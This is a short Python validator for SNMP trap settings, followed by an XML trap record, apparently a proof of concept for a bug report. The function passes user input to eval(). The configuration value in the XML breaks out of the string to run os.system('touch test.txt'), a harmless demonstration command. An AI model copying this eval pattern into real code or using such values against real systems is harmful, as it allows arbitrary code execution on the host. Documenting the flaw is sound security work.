def validate_trap_configuration(base, value_dict):
    validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
    for k, v in value_dict.iteritems():
        if validators.has_key(k):
            base, conf_class_str = validators[k].rsplit('.', 1)
            module = __import__(base, fromlist=[conf_class_str])
            conf_class = eval('module.%s("%s")' % (conf_class_str, v))
        else:
            raise FilterError('validate_%s_trap_configuration_value' % (base,),
                              _("Trap does not allow configuration"), k)
    return value_dict

<common_trap>
    <common_name>connectivityFailure</common_name>
    <common_enabled>0</common_enabled>
    <common_configuration>http://asd.asd.&quot;+os.system(&quot;touch test.txt&quot;))#,5</common_configuration>
    </common_trap>
<common_trap>